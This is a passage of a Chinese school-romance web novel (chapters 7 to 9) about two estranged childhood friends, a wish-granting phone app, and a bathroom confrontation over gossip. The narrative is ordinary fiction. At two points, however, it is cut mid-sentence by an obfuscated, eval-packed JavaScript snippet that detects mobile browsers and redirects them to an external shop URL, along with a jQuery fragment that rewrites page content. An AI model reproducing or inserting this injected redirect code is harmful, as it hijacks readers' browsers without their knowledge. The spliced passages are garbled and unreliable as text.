怎么秦子规就是祖国未来的希望,他就成了社会的危害了? 一句质问还没说出口,电话那头的黄书良就已经拍砖定板:“行了,看在你们的出发动机是好的,也没造成什么危害,盛衍又是过生日的份上,今天就先放过你们。秦子规,你先去上竞赛课,明天交一份八百字检讨上来,盛衍,你把实外学生手册给我从头到位工工整整的抄一遍,不抄完明天就到我办公室来继续抄,听到没!” 盛衍:“???” “凭什么秦子规只用写八百字的检讨,我就要抄一万多字的学生守则啊,明明打架的是他。”盛衍终于忍不住了。 黄书良却理直气壮:“就凭秦子规是年级第一,你是年级倒数第一!” 说完,就挂了电话。 随之挂掉的还有盛衍一颗被世间不公伤透了的少年心。 他真是要被气死了。 先是好不容易蹲点蹲到的小猫因为秦子规的破事又被弄丢了。 再是发现秦子规就因为他喜欢的女生给自己表了白,就把十几年的兄弟情谊全都喂了狗。 然后是被教导主任当场抓住罪行,还原地表演了一个绝世双标。 真是什么晦气事都遇上了,还全都是因为秦子规! 自己真是这辈子都不想再多看他一眼! 盛衍越想越气,一把抢回自己的书包,直接推开单元门,一句话都不想多说。 秦子规在后面叫了声:“盛衍。” 他听都不想听,没好气地扔出一句“上你的竞赛课去,别他妈来烦我”,就摔门而入,头也没回。 秦茹本来想好好劝劝,但她还要赶着收拾收拾和江平去参加一个应酬局,就只是低声对秦子规道:“行了,小姨知道你们是好孩子,不会干坏事,但下次不能这样了啊,不然不帮你们在黄主任面前说话了。而且你是哥哥,要让着小衍,上完课回来记得带点好吃的,他心软,好哄。” 他才不好哄呢。 盛衍耳朵捕捉到最后一句,脸贼臭地进了电梯。 这次他是真生气了,很生气很生气的那种生气,再好吃的好吃的也哄不好的那种生气。 别说秦子规现在毫无悔过之意,就算他现在立刻马上跪在地上求着他给他道歉,他也绝对不会原谅他。 自己真情实感当了十几年好兄弟的人,结果回头来根本没把自己当回事,而且老师同学还都处处偏心他。 凭什么?! 大垃圾。 盛衍回到房间,把门一锁,从衣柜里掏出那个巨大的猫猫抱枕,拿出马克笔,在它屁股上写下“秦子规”三个大字,然后扔到床上,就是一顿狠狠爆锤。 像是要把刚才在小巷子里没舍得揍下去的那些力气全部发挥出来一样,一下比一下揍得狠,直到揍到屁股那块的棉花都凹进去快弹不起来了,才算勉算泄了气,拿起自己的睡衣,进了浴室。 等到他泡完澡,追完番,享受完秦子规自带按摩功能和观影功能的大浴缸后,终于平复下来,慢条斯理地擦着头发回了自己房间。 一看手机,已经快十点。 怎么秦子规还没回来? 正想着,房门被敲了两下:“阿衍。” “走开!” 屋外的人微顿,然后嗓音低缓:“我帮你抄学生手册。” “不需要,我可不敢耽误我们秦大会长的学习时间,不然回头实外少了一个高考状元,黄鼠狼还不得把我活吃了。” 盛衍阴阳怪气完后,屋外还真就没有了声儿。 “?” 这就放弃了? 说好的买好吃的回来哄他呢? 他就知道,他在秦子规心中根本不重要! 盛衍愤怒从犄角旮旯里翻出一个破本子,打开实外官网,下载学生手册PDF文件,用力捏着笔,一边看着屏幕,一边狠狠在本子上划拉起来,试图划悲愤为力量,让秦子规见识见识什么叫男人的担当。 然而他很快发现他自己可能还只是个男孩,算不上男人。 因为当他飞速狂草,草到手指都开始抽筋后,一看进度,百分之三十。 盛衍把笔一扔,靠着椅背,仰天长叹。 他到底造了什么孽啊,是上辈子抢了秦子规老婆吗?为什么好好一个生日为什么过成了这样。 盛衍绝望地闭上了眼。 然后突然顿住。 等等,生日? 生日! 盛衍拿起手机一看,果然刚刚过了十二点,心想事成APP就已经发来了系统消息:[亲爱的小主人,本周许愿名额已刷新,快来许愿吧~] 盛衍毫不犹豫:[希望一觉起来学生手册已经全部抄完] 然后盯着转动的白圈,紧张等待。 一圈,两圈,三圈。 愿望批准。 盛衍松了口气。 管他是不是骗子,反正死马当成活马医,大不了明天黄书良办公室一日游。 想着,他领取花盆,种下小雏菊种子。 接下来就是等待任务。 一秒,两秒,三秒。 盛衍还是有些担心,毕竟如果真地给他布置了什么违法乱纪或者完成不了的任务,那这仅剩的希望也泡汤了。 等到花园旁的小邮箱“叮”的一声亮起时,他不自觉地屏住了呼吸,抿着唇,伸出一根手指,小心翼翼地点上了屏幕上的[领取任务]的按钮。 然后下一秒就呆呆愣住。 这个APP怎么还有这种不正经的任务的? 8. 睡觉 Chapter.08 [心愿任务:和你最讨厌的人睡一觉] 睡觉? 睡什么觉? 盛衍瞳孔震惊。 这到底是不是个正经APP了?! 盛衍飞速在留言反馈板上打下了这行字。 三秒。 系统冷静回复:[请宿主不要多虑,只是普通字面意义上的睡觉] 盛衍:“……” 哦。 可是只是普通字面意义上的睡觉也很尴尬啊。 他现在最讨厌的人想都不用想,肯定是秦子规。 他今天和秦子规闹成这样,秦子规之前还亲口给他说过要保持距离,现在自己屁颠屁颠地去找秦子规给他说要一起睡觉,这不是送上门去丢人嘛。 盛衍才不干呢。 可是如果不干的话,完不成任务,就得自己再抄八千多字…… 短暂的犹豫。 盛衍毅然决然地站起身,拿起空调遥控器,开成制热,然后抠下电池,把一个废旧闹钟里的换上去,再抱起自己的枕头,走出房间,站到对面秦子规房门前,噔噔,敲了两下。 门很快就开了。 秦子规已经换上睡衣,漆黑的头发自然柔顺地垂下,鼻梁上架了副银边眼镜,看上去比白日里柔和了些。 但也只有一些些。 还是很装逼,盛衍如此评价。 秦子规垂眸看他:“什么事?” 盛衍往房间里瞄了一眼,看见台灯还在亮着,桌上还摊着一大堆书本卷子,问:“还没睡?” 秦子规侧靠着门框:“你不也没睡。” 自己为什么还没睡他心里没点数吗? 盛衍没好气道:“废话,你被罚抄一万多字的学生手册试试?” 然后抬了抬下巴,理不直气也壮:“我卧室空调坏了,在你这儿凑合一晚上。” 秦子规抬眸看向对面房间。 盛衍有点心虚。 好在秦子规很快就收回视线,让开身子,冷淡道:“自己戴好眼罩和耳塞。” 盛衍:“?” 秦子规示意他看了一眼自己的书桌:“我还要学到很晚,你不戴眼罩耳塞能睡着?” 怕是不能。 因为只要看见学习,盛衍脑仁就嗡嗡疼。 于是出于学渣的自我保护意识,盛衍勉为其难地点了点头:“行吧。” 然后自信抬腿,准备以一种“朕来宠幸你是你修了八辈子的福分”的气势走进去。 结果刚抬一步。 咕噜,肚子叫了。 盛衍尴尬顿住。 秦子规看了眼他的肚子,转身从自己房间的小冰箱里拿出一个蛋糕盒子放到书桌上。 盛衍瞄了一眼,居然是他最爱的榴莲千层。 而且这家蛋糕店的东西巨难买,要排好久队,秦子规是哪儿来的? 想着,秦子规说了句:“晚上下课,顺路去买的。” “哦。” 盛衍又偷偷瞟了一眼。 可是秦子规不是觉得榴莲味臭烘烘的吗? 又想着,秦子规又说了一句:“给你买的。” “啊?” 盛衍抬头,愣了愣。 秦子规低头拆着榴莲千层的包装:“本来怕你晚上吃不下,想买来给你明天当早饭吃的,但你现在饿了就现在吃吧。” 盛衍:“???” 重点是什么时候吃吗? 重点是好端端的秦子规为什么给他蛋糕吃! 还是专门买的。 无事献殷勤,非奸即盗。 盛衍警惕地瞪着他:“秦子规,你又憋了什么坏招儿。” 秦子规倒也没否认:“是憋了。” 盛衍毫不意外,正准备冷哼一声。 秦子规就把已经拆完包装的甜点往他跟前推了一下:“为了哄你。” 盛衍:“hen……嗯?” 为了什么? 要哄谁? 为什么哄? 盛衍呆滞了。 秦子规被鬼附体了?! 秦子规却不像是在开玩笑:“之前因为我包庇你逃课打架的事被黄书良骂了一顿,还被撤回了三好学生资格,再加上一些其他事,又喝了酒,心情不好,就说了些冲动难听的话,是我的问题。阿衍,对不起。” 其他的事情肯定就是指林缱的事。 盛衍没多想。 但是就这?! 秦子规和自己自己冷战一年的原因就这?! 盛衍就差把自己手里一堆“就这”黑人表情包拍秦子规脸上了。 难道这种从小受追捧长大的天之骄子,自尊心都特别强?所以特别接受不了被撤回奖项和自己喜欢的女生喜欢别人这种事? 不过秦子规好像很喜欢林缱,毕竟这么遵纪守法的好学生,能两次三番地为她逃课打架,说明已经彻底陷进去了。 再加上被撤回三好学生资格的事,生气也可以理解。 个屁! 就他要面子?就他自尊心强?就他有脾气? 当时冲动说了气话,冷静下来后不知道来哄自己? 如果不是自己今天憋不住直接把话挑明了说,他是不是要等到要拔氧气管了才肯跟自己道歉? 谁稀罕啊。 真以为自己还跟小时候一样,给块蛋糕就哄好了? 做你的春秋白日梦。 盛衍很有骨气,冷呵一声:“谢谢,不用。我说了,只要你把理由说清楚,我保证不跟你多废话一句,我说到做到。所以也麻烦你自己把‘不是一路人,还是保持距离各走各的路的比较好’这句话刻进DNA里,免得显得我多稀罕跟你好似的。” 说完,把枕头往床最里面一扔,戴上耳塞,一把拉下眼罩,被子一裹,面对着墙,一言不发,开始睡觉。 冷酷无情得仿佛昨天晚上在这张床上可怜兮兮委屈巴巴嗲里嗲气地扒着自己说要跟自己一辈子好的人不是他一样。 看来是还在生气。 或者说不是生气,是伤心。 秦茹说得对,盛衍的确从小就心软好哄,生气从来不会往心里去。 但是她不知道的是盛衍比谁都重感情,生气好哄,伤心了却会难过很久很久。 所以自己当时才会说那么冷漠伤人的话。 想起去年生日那天晚上,盛衍在KTV里一脸暴躁嫌恶地对朱鹏和苟悠说“两个男的在做那种事,好恶心”时的表情,秦子规垂下了眼眸。 他第一次意识到自己对盛衍的感情可能不是普通的兄弟情时,是在高一,第一次做了不该做的梦。 当时以为是偶然,然而在这之后不该有的情绪却越来越多。 直到他听到林缱给盛衍表白时,那种一瞬间无法压制的嫉妒和占有欲让他终于确认自己对盛衍的喜欢就是那种喜欢。 这对于情窦初开的少年来说无异是一个巨大的冲击,然而他甚至还没来得及开始自我消化,下一刻钟,他就听到了盛衍说“两个男的做那种事,好恶心”。 那时候秦子规只有一个想法,他不希望有一天盛衍会觉得自己恶心。 但是他不确定如果继续这样相处下去,他究竟是不是真的能藏住自己的感情。 而且在他心中,盛衍这一生就应该是在所有的宠爱下金尊玉贵地长大,再遇上一个顶好的姑娘,结婚生子,白头到老,儿孙满堂,一世平安喜乐,别无忧愁,而不是走上另一条会备受偏见和争议的未知的路。 所以他才说,盛衍,我们不是一路人。 他本来以为这样或许是最好的抉择,可是他没有想到原来盛衍这么在意,这么难过。 难过到会像一个小孩一样,趁着耍酒疯,一整晚紧紧抱住自己,说不准自己走,说要跟子规哥哥一辈子好,害得自己心疼自责,哄了整整一夜。 结果今天就傲娇嘴硬翻脸不认人。 真不知道是哪儿来的撒娇精。 脾气还大。 秦子规看了眼被子里露出的那颗毛茸茸气呼呼的后脑勺,低下头,无奈地笑了一下。 算了,自己再辛苦一点好了。 再努力把情绪藏好一点,克制一点,注意一点,好好把小少爷哄心软一点,一切就还是和以前一样,他们还是最好的朋友。 总归他不愿意让盛衍觉得受了委屈。 想着,秦子规把那块榴莲千层仔仔细细重新包好,放回了冰箱。 某人现在肯定想吃。 但是太晚了,会不消化。 所以还是留到明天吧。 而严严实实地戴着眼罩和耳塞等着秦子规继续哄自己等了半天还没等到的某人,非常生气。 这个秦子规到底会不会哄人的? 不知道多哄两句的吗? 死要面子活受罪,盛衍只能紧紧裹着被子,握着拳,缩在角落,强行用睡眠战胜了饥饿,做了一晚上关于榴莲千层的梦,甚至连秦子规什么时候上床睡觉的都不知道。 只知道一觉起来的时候,自己呈一个大字形地躺在秦子规的床的正中间,上下左右都没有留出一个可以容纳秦子规睡觉的地方,而且秦子规的枕头看上去也没有凹陷。 所以昨天晚上秦子规可能没和自己睡觉?自己可能没完成任务? 意识到这点的时候,盛衍噌地一下就从床上弹了起来,匆匆趿上拖鞋,飞快跑回自己房间,一把抄起桌上的本子,急急忙忙地就翻看起来。 一页两页三页,满满当当,整整一万三千六百四十七字,连标点带内容,全都抄好了,还全都是自己的字迹。 那一瞬间,盛衍被震惊得有些怀疑人生。 不过就是和秦子规睡了一觉而已,八/九千字的学生手册真的就全部完成了?还是自己的字迹?这个APP有这么神? 盛衍还是有点难以置信。 拿出手机,点开心想事成APP,然后就看见花园里一盆白色的小雏菊已经迎风盛开,小天使正在撅着屁股给它浇水,小奶猫则围着他们团团打转。 而当盛衍点进APP的时候,发出了有人推开花园门的音效,一人一猫一花像是听到了动静一样,全都回头冲着他歪着脑袋,很可爱地笑了一下,眉眼弯弯,十分烂漫。 那一下,盛衍承认自己有被萌到了。 但紧接着他就意识到这不是猛男该用的APP,这也不是APP的关键。 关键是如果说之前种种还可以用巧合来解释的话,那这一次就绝不可能了,因为再巧合也不会巧合成这样。 所以只有一种解释。 这个APP是真的。 这个许愿系统也是真的。 小说里拳打学霸,脚踩学生会会长,然后从此走上人生巅峰的未来也是真的。 也就是说只要他好好斟酌许愿,好好完成任务,好好升级,那么从年级倒数第一变成年级第一,狠狠打脸黄鼠狼,让双标从此从这个世界上消失的梦想,就不再只是梦想。 他的好日子就要来了! 想到这里,盛衍觉得自己体内热血翻涌,壮志凌云,仿佛热血少年漫里突然加上了BGM和背景神光的主角,即将大杀四方,登顶Jump! 他拿着手机就想冲出去把这个好消息分享给秦子规,然而刚跑出房间,就猛然意识到他不能把这个消息分享给秦子规。 不是因为保密协议。 而是他还在生秦子规的气。 他不能让秦子规觉得自己还和小时候一样好哄,这样秦子规就不会意识到他之前说的那些话错得到底有多离谱。 而且他现在是一个有原则的成熟男人了,他要稳重,要让秦子规意识到自己再也不是以前那个被他打压欺负的盛衍了。 于是盛衍停下脚步,清了清嗓子,淡定地走进浴室,洗漱更衣,整理仪容,然后以一种自以为非常成熟稳重的成功人士姿态缓步走向了餐厅。 秦茹在餐厅倒着牛奶,远远看着,疑惑道:“子规,小衍怎么一大早起来就跟只得意洋洋的小公鸡似的,是遇上什么喜事了?” “可能吧。” 秦子规低头在盛衍的专属小黄鸡碟子上装上了榴莲千层,圣女果,和一枚盛衍的同类蛋,语气听上去心情还算不错。 所以是这俩人和好了? 可是看盛衍那雄赳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727190|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赳气昂昂的斗鸡样,也不像啊。 秦茹有点疑惑。 不过她也懒得多问,这俩小孩是她看着长大的,呆在一起的时间比两家家长加在一块儿估计都多,就算吵架也吵不出个什么花来,她们做家长的也懒得操心。 “但是子规,你眼睛怎么这么红呀,还有点黑眼圈,是不是昨天晚上没睡好啊?”秦茹心疼得不行。 秦子规只是淡淡道:“没,就是昨天稍微复习晚了一点,小姨你别担心。” “这样啊。” 秦子规这么一说,秦茹就不知道该说什么了。 从小到大秦子规就特别懂事,什么都是最好的,也从来不让家长操心担心,小时候她和江平工作太忙,经常忽视了他吃饭生病的事,小孩也从来不吭声,不抱怨一句,只是自己想办法照顾自己。 以至于到了现在,秦茹总觉得秦子规好像不算一个真正的晚辈,一些教训指责的话就根本说不出口,只能柔声道:“那你今天晚上早点休息,学习再怎么样也没有身体重要,听到没?” “嗯,听到了,小……盛衍。”秦子规回答秦茹的话刚答了一半,就抓到盛衍正偷偷摸摸打开冰箱拿出了一瓶冰可乐,于是没来得及想,直接微蹙起眉,“早上别喝冰的。” 盛衍偷渡到一半,当场卡住。 缓缓转头,对上四道直勾勾的视线,只能不情不愿地把可乐放了回去:“行了,知道了,小秦子规。” 报复心还挺强。 秦子规把碟子放到他跟前:“吃早饭。” “不用你……嗯?” 榴莲千层? 盛衍看见自己的专属小黄鸡碟子上的那块榴莲千层时,微顿了一下。 他还以为昨天晚上自己那么不给面子,秦子规会把这个他觉得“臭烘烘”的蛋糕扔了呢。 原来没有。 而且保鲜的很好,一点儿都没串味。 盛衍表面嫌弃地拿起叉子叉了一块后,今天本来就不错的心情又暗暗好了些,然后高傲点评:“还凑合。” “还凑合就快吃,不然迟到了黄书良又要骂你。”秦子规一边说着,一边非常熟练地把盛衍碟子里的那枚鸡蛋剥了个干净。 盛衍非常满意地点了点头 :“看不出来我们秦大少爷还是个鸡蛋杀手嘛。” 秦子规面无表情地把鸡蛋放进他的碟子:“嗯,毕竟我也没看出来我们盛小少爷还是只猫。” 本来已经忘记了昨天晚上羞耻叫喵喵被抓包了的盛衍:“……” 伤害性不大,侮辱性极强。 盛衍瞬间没了和秦子规斗嘴嘚瑟的心情,用力戳着叉子,把碟子里的东西全部想象成秦子规的脸,一口一个,生吞活剥,狼吞虎咽,风卷残云,如猛猫过境。 最后竟然刚刚好卡点进了教室。 “天啊,衍哥,你今天居然没有迟到!”后排的朱鹏抬头看见他,震惊得连包子都忘记啃了。 盛衍懒洋洋地睨了他一眼,把书包放到桌上,拉开椅子坐下:“别说得我天天迟到似的。” 他还没那么漠视校纪校规,顶多一周迟到一两次。 “但是今天不一样啊。”朱鹏费力地把嘴巴里那坨包子咽了下去,“你昨天晚上不是去追击敌人去了吗,一般这种时候你第二天都是要迟到的,说要多睡一会儿,补充体力。” 不说还好,一说到昨天晚上追击敌人的事,盛衍就觉得一股不痛快就又涌了上来。 要不是秦子规,他昨天肯定已经把敌人捉拿归案了。 也不至于今天晚上还要去后街碰运气,也不知道碰不碰的到。 朱鹏却没发现他的不痛快,只是自顾自地啃着包子八卦道:“诶,对了,衍哥,你听说了吗?” “什么。” 盛衍从书包里掏着东西,头也没抬。 朱鹏凑近了点儿:“就是秦子规那事儿啊。” 盛衍抬头,微蹙了眉。 朱鹏压低声音:“听说昨天晚上秦子规去找骚扰林缱的那群人打架了,揍得特别狠,职高那边有人看到后,拍照发贴吧了。然后各种传言,什么英雄救美,争风吃醋,比武招亲,生死……” “大男人的这么八卦有意思吗?” 盛衍没好气地把手里的书狠狠往桌上一拍。 吓得朱鹏一个激灵,手里的包子都掉了,匆忙捡起,拍了拍灰:“不是啊,衍哥,你这么生气干嘛?这是好事啊,闹这么大,秦子规肯定要被罚,你不是最讨厌他了吗?” “我是讨厌他,所以别在我面前提他,听到他的名字就烦,他是死是活,是好是歹,跟我有什么关系。”盛衍暴躁不耐地扔下一句,直接起身出了教室,往厕所走起。 秦子规这种人,一生气就要跟他绝交,绝交后道歉还道得那么没诚意,今天还拿猫猫叫的事情嘲笑他,他烦都烦死了。 所以才没有因为他的事情生气。 就是听到这个名字烦而已。 盛衍想着,走到了卫生间门口,还没来得及进门,就听到里面传来两道刻薄的讥笑声。 “你说那个秦子规,一天到晚板着个死人脸,天天扣这分扣那分,拽得二五八万,搞得自己跟个什么圣人似的,结果不也就是个吃醋打架的捞比嘛。” “你可别这么说,人家打架跟我们打架能一样?那可是人黄鼠狼亲儿子,就算打架了也要先担心手疼不疼,还能不能给他考第一回来。” “嘿,你别说,秦子规没爹没妈的,搞不好还真有可能是黄鼠狼私生子。” “啧,这么一想秦子规也怪可怜的嗷,没爹没妈寄人篱下的,处处都要看别人脸色,所以说越自卑的人越那啥嘛。” “哪啥?” “装逼呗。” “靠,有道理啊,哈哈哈哈……操!盛衍!你他妈想干嘛!” 还没笑完,其中一人就被拽住领子用力甩到了墙上,背骨狠狠撞上墙壁,沉闷的巨响和剧痛同时传来,那人疼得龇牙咧嘴,忍不住怒骂。 盛衍攥着他的领子,一把把他掼到墙上,手臂线条绷得极紧,眉眼却只是漠然垂下,嗓音也透着凉薄:“不干嘛,就是教教你,不是谁的舌根子都可以乱嚼的。” 9. 心疼 Chapter.09 没有其他任何多余的动作,盛衍只是冷着眉眼把对方抵在墙上,攥着领子的细长指节一点一点收紧,衬衣领口就在对方脖颈上越嵌越深,让对方想挣扎又动弹不得,只能无力地向旁人送来眼神求助。 而旁边那人却被这突如其来的变故给吓傻了,只是呆呆地站在原地,眼神充满惊惧。 虽然他们或多或少都听说过一些盛衍在校外的传闻,但从来没人见过他在校内打架,也就更没人见过这个平日里性格还算随和好说话的传说中的校霸如此冷戾漠然的一面。 就像是平日里懒洋洋趴着的豹子突然被踩了尾巴,然后瞬间觉醒猎杀一样。 可是他们踩他什么尾巴了? 他们刚才不是一直在说秦子规吗? 秦子规不是和盛衍闹掰了吗? 盛衍平时一口一个最讨厌的不就是秦子规吗? 那按照敌人的敌人就是朋友的逻辑,盛衍不加入他们就算了,怎么还打上了呢?! 这是哪门子的道理? 旁边那人终于反应过来,冲上来就准备劝架,然后就被盛衍冷冷一眼瞪在了。 盛衍收回视线,漠然地看了眼墙上脸已经快涨成猪肝色的某人,松开指节,垂下手。 那人立马贴着墙壁无力滑下,一屁股坐上卫生间布满水渍的地面,捂住脖子,大口大口地呼吸起厕所的味道,满脸惊魂未定。 盛衍双手插兜,垂眸看他:“付赟,你酸秦子规酸了这么多年了,有意思吗?” 叫做付赟的男生闻言抬起头,涨红着脸,忿忿道:“谁酸他了?我刚说的哪句话不是实话?他是不是没爹没妈?他是不是寄人篱下看人脸色?他是不是一天到晚假正经?他是不是自己在外面吃醋打架?怎么,许他做还不许人说了?” “嗯,你说得对。”盛衍点点头,“所以你是个傻逼。” 付赟:“??” 盛衍随意一挑眉:“怎么,许你傻逼还不许我说啦?你小时候就天天跟着那个胖虎嘲笑秦子规没爹没妈,怎么嘲笑了这么多年,人家秦子规还是处处都比你这个有爹有妈的强呢?是因为你爸你妈两个大A小a高智商知识分子不幸抽中四分之一的概率生出了你这么一个小a小a的弱智吗?” 盛衍的生物实在不怎么好,但拿来嘲讽付赟还是绰绰有余。 这个付赟小时候是和盛衍秦子规他们在同一个机关单位家属院长大的,因为打小成绩就不错,偏偏秦子规成绩比他更不错,于是处处想模仿,却处处被碾压,就一路从机关小学被碾压到了实外高中部,还非要处处跟着学。 结果学到后面,秦子规年级第一去了一班,付赟因为成绩逐渐跟不上只能去了四班,秦子规成了白衬衣男神,付赟就成了爱穿白衬衣的男生。 自己也不觉得是个笑话。 盛衍瞟了一眼付赟鼻梁上那架秦子规同款银边眼镜框,冷笑一声:“有没有人给你说过鼻梁塌的人戴大框眼镜看上去会很像长江中下游平原。” “……” 你才长江中下游平原! 付赟实在忍不住了:“盛衍你到底什么意思?平时最讨厌秦子规的是你吧?天天找他麻烦的是你吧?现在又在这儿装什么好人?!” “谁说我装好人了?我跟秦子规什么关系,你跟秦子规什么关系?我们能一样?而且秦子规是我罩着的人,我讨厌他烦他骂他是我的事,但你就不行。所以今天这种话,我以后听到一次,揍你一次,揍到你老实为止。听明白了吗?” 盛衍居高临下地审视着他,凌厉的五官显出极强的攻击性,整个人看上去嚣张至极。 而本来攥着领口瘫坐在墙角的付赟,看向他的神情突然变成了一副敢怒不敢言的委屈和不甘心:“盛衍,你一天到晚就是这么欺负同学的吗?我就说了几句你不爱听的话,你就非得打死我吗?” 盛衍抬了下眉。 什么玩意儿,他刚才有这么说吗? 付赟鼻翼微张,看上去快哭了:“我知道我说的话不太合适,可是我都道歉了你还要怎么样?还要见我一次打一次,有必要吗?你仗着你家有钱可以胡作非为欺凌同学吗?!” 盛衍:“??” 他刚说的是见一次打一次吗? 而且付赟这是什么表情? 怎么那么那么像情深深雨濛濛里要找孩子的可云? 难道他刚才那一下把付赟脑子弄坏了? 没有啊,他心里有数,一直收着力的啊。 还有旁边这人又是什么眼神,怎么看着自己身后一脸呆滞,嘴巴还颤颤巍巍,像是想叫“黄……” 黄?! 盛衍反应过来,瞬间回头。 果然看见黄书良正站在厕所门口,胸口起伏,看上去是在试图努力压住火气,不让自己发泄出来,然而最终没有压住,发出了一声怒吼:“盛衍!你居然还敢欺负同学?!你眼里到底还有没有王法了?!你看看付赟这么可怜的样子,你忍心吗?!” 盛衍:“???” 付赟哪儿可怜啦?! 他刚才说的那些话还不够刻薄恶毒吗?! 盛衍刚想开口,旁边的付赟就扶着墙站起来了,低着头,小声道:“老师,这事也不完全怪盛衍,是我最开始说话没注意……” “说话没注意他也不能打人啊!”黄书良怒不可遏。 付赟声音很低:“没打几下,打得不疼。” “打得不疼就不是打了?!付赟你这孩子就是脾气太好太老实,所以才容易被人欺负!”黄书良恨铁不成钢。 盛衍:“???” 什么叫没打几下? 他根本就没打。 就是吓唬了一下而已,而且很注意力道了。 他无语开口:“根本不是他说的那样……” “不是他说的那样是哪样?”不等盛衍说完,黄书良就一声斥吼,“我都亲眼看到了,你把人付赟堵在墙角,把好端端一个大男生都被逼得快哭了,你还要怎么狡辩?!” 你来之前他可没哭。 盛衍当了一辈子直男,向来是有事说事,说不过就互相拳头解决,谁赢了听谁的,还是第一次遇到这种一个大男人装可怜的情况。 简直就是直男遇上婊,架在火上烤。 再说黄书良对他本来就有偏见,卫生间里又没监控,旁边另外一个男生明显也是帮着付赟的,这么一来他真是掰扯不清楚了。 而且他也没兴趣跟这种人掰扯,简直就是浪费时间,正准备扔下一句“随你怎么想”就甩手走人的时候,噔噔两声,门框被敲了两下。 秦子规站在门口,看向黄书良,低声道:“主任,这事不怪盛衍,是我的问题。” 语气听上去有些低落,神情也不算太好。 黄书良还没见过秦子规这样,忙问:“这事跟你又有什么关系呀?” 秦子规淡淡道:“没什么,就是我刚刚在外面背单词的时候听到里面的动静了,但是因为……因为一些个人原因,没有及时出来阻止,所以我的问题。” 一楼的卫生间在拐角处,一侧是走廊,排着高三理科班的六个教室,也就是盛衍和黄书良来的方向,另一侧拐过去则是一排梧桐树,很僻静,经常有学生到这里背书复习。 所以秦子规这个情况倒也正常。 不正常的是什么个人原因才会让秦子规这个学生会会长放着里面有人打同学都不管? 黄书良本能地觉出不对,皱起眉:“秦子规,你听到什么了,展开说说。” 一旁的付赟也不知道他是不是真听到了,掐紧了掌心,屏住呼吸。 秦子规则微抬起眸看了他一眼,又淡淡收回视线,默然不语。 黄书良本来就是个急性子,被他这么一磨,急得都要起水泡了:“有什么事你倒是说呀!老师还能不为你们主持公道不成?” 秦子规收了平日里的高冷气质,低垂着眉眼,眸子里浮现出不经意的受伤和脆弱,加上他那副顶好的皮囊,看上去惹人怜爱极了,就连话都说得懂事至极:“我是担心老师您听了会不高兴。” “我会不高兴?” 黄书良愣了愣,他有什么好不高兴的。 秦子规张了张嘴,像是无比艰难地做出了抉择一样,最后还是淡淡道:“付赟他们说我没爹没妈,寄人篱下,您又偏心我,所以我可能是你的私生子,盛衍气不过,觉得他不尊重您,就没忍住攥了下他的领子。后面具体发生了什么我也不知道,但是我没听到打架的动静,只听到盛衍好像一直在和他讲道理。” “???” 黄书良千想万想也没想到付赟说的不合适的话,居然不合适到这种程度! 而且这已经不是单纯的男孩子不懂事互骂脏话挑衅的程度了,这分明就是专门挑着别人最痛的地方恶意诋毁和攻击! 黄书良瞬间变了脸色,非常严肃地看向付赟两人:“这件事是真的吗?” 这哪儿能认啊。 而且口说无凭的又没有证据。 付赟连忙否认:“没有没有,主任,我们绝对没有这么说过,真的没有,你相信……” 不等他说完,秦子规就解下了自己的智能手环,递给了黄书良,平淡道:“因为要纠正发音,所以我平时自己背单词的时候都会录音。可能录得不太清楚,但应该可以证明盛衍没有真的打他,也没有说揍死和见一次打一次这种话。” 手指一按,付赟和同伴那些不堪入耳的诋毁之言就随着噪音稀稀拉拉地响起。 脸打得啪啪响。 两人的脸色和黄鼠狼的脸色一时竟说不出到底哪个更难看。 而拿着手环再一次听完了那些伤人话语的秦子规,神情依旧维持着冷淡和平静,可是依然可以感受到这份理智之下的难过和受伤。 想到秦子规这么坎坷的身世,还长成了这么好的一个孩子,还要被诋毁,黄书良就又心疼又生气。 别说盛衍这种血气方刚的小伙子了,就是他也想抽付赟这俩碎嘴子一顿,于是竟然难得不想处理盛衍,只是冲着付赟他们大喝一声:“你们两个现在立刻马上给我滚到教务处去!今天不教教你们什么叫基本的为人品德!我就对不起我这个人民教师的称号!” 说完又回头看向秦子规。 秦子规垂着眼睑,很快答道:“老师,我没事的。您别太生气,我相信他们也不是故意的,你好好说说就行了。我这里都没关系的。” 他越这么说,黄书良越心疼。 果然,越懂事的孩子越容易受委屈。 他还差点就让四班那两个王八犊子给骗了! 必须严惩!狠狠严惩!! 想到这儿,黄书良再看到那两个磨磨蹭蹭畏畏缩缩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727191|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四班的人,更气了,直接大吼一声:“给我走快一点!” 然后就看向盛衍:“行了,这次虽然事出有因,但是你的行为还是不可取的。不要什么都想着用暴力解决,智慧,智慧知道吗?” 本来看着付赟装可怜已经叹为观止的盛衍,等看完秦子规出神入化的表演后已经愣住了,这么需要安抚的人是秦子规吗?是他表演的,一茶更比一茶纯?还是真的难过了? 但不管哪种,总归盛衍心里有点不舒服,怎么这话还是被秦子规听到了。 于是黄书良说了些什么他根本没有听见。 直到黄书良又喊了声:“智慧!盛衍你的智慧呢!你这么好看一颗脑子长来干嘛使的?!” 他才回过神来。 黄书良语气也稍微好了一些:“不过看得出来,你这孩子本性还不错,分得清是非黑白,不算没救,所以经过年级组开会一致决定,我们打算给你一个奖励。” 盛衍微抬了眉。 今天太阳打西边出来了? 黄书良还能给他奖励? 想着,黄书良拿出了一张教室座位图,举到他面前:“认识这个吧?” 